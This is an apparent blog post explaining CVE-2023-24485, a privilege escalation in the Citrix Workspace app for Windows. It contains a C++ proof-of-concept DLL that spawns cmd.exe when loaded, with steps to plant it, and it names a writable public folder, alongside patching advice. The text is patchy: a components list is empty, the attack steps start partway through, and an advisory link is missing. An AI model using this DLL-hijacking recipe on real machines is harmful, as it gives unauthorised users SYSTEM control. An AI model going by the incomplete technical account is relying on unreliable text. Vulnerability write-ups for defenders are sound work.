CVE-2023-24485 - Escalating Privileges via Citrix Workspace App on Windows

Citrix is a familiar name in enterprise IT, helping millions of users connect to virtual desktops and applications. But sometimes, even trusted software opens dangerous doors. This post covers CVE-2023-24485—a privilege escalation vulnerability that, when combined with related flaws, can turn a normal Windows user into SYSTEM on machines running the Citrix Workspace app.

In this guide, I'll break down what the vulnerability is, how it works, show you simplified code snippets, and give resources for deeper reading. This is written in plain English for everyone, not just penetration testers.

What Is CVE-2023-24485?

CVE-2023-24485 is a vulnerability in the Citrix Workspace app for Windows. The flaw, together with other related bugs, can let a regular Windows user perform SYSTEM-level (administrator) actions—basically giving them full control over the device.

The Citrix Workspace app runs some services with SYSTEM privileges. If a local attacker finds a way to trick these services into running malicious code, that code will also run as SYSTEM. This bypasses normal permission checks.

Components involved:

Technical Root Cause

The bug lies in how Citrix Workspace exposes certain privileged operations through accessible interfaces. In multiple reported cases, attackers could interact with privileged services (CtxSvcHost, for example) over named pipes or insecure file paths.

A successful attack happens when

- A local, non-admin user discovers an insecure mechanism (like permissions or trusted locations) to inject or influence code

Create a Malicious DLL: Write a DLL that launches cmd.exe as SYSTEM.

2. Abuse a Writable Folder or Registry Key: Place the DLL in a location loaded by a Citrix service that runs as SYSTEM.

Example PoC Code (DLL)

Below is C++ code for a DLL that causes a SYSTEM shell when loaded.

// dllmain.cpp : Defines the entry point for the DLL application.
#include <windows.h>
#pragma comment(lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        WinExec("cmd.exe", SW_SHOW); // launches a command prompt
        break;
    }
    return TRUE;
}

Note: You'd compile the above as a DLL and place it where the Citrix app (run as SYSTEM) would load it.

### Directory Traversal Example (CVE-2023-24484 connection):

Earlier related vulnerabilities allowed attackers to specify traversal paths, so a malicious user could plant a DLL in a folder that the SYSTEM process reads:

C:\Users\Public\Documents\malicious.dll

If a Citrix service does not correctly validate file paths, it might load malicious.dll as SYSTEM.

Are the affected services (CtxSvcHost, etc.) running as SYSTEM?

- Do any files/folders loaded or created by the Citrix service have weak permissions (writable by normal users)?

Mitigation steps

- Update immediately: Citrix released fixes. Advisory here

References

- Citrix Security Bulletin for CVE-2023-24485 and Related Issues
- Fox-IT deep dive: Directory traversal to SYSTEM DLL hijacking in Citrix Workspace
- Rapid7 AttackerKB: CVE-2023-24485

Why This Matters

Privilege escalation is serious, especially on shared office computers or remote session hosts. An attacker does not need admin access initially—just a regular user account.

Summary

CVE-2023-24485 is part of a dangerous group of Citrix Workspace flaws. Together, they let a regular user hijack SYSTEM privileges on Windows. The fix is simple: update Citrix Workspace immediately, and make sure no standard user has write access to folders loaded by privileged services.

Stay safe—patch early, patch often, and review your user permissions!


If you'd like a demonstration or help testing your own environment, remember: always get permission first. Responsible disclosure and ethical research keep us all safe.

Timeline

Published on: 02/16/2023 18:15:00 UTC
Last modified on: 02/24/2023 18:32:00 UTC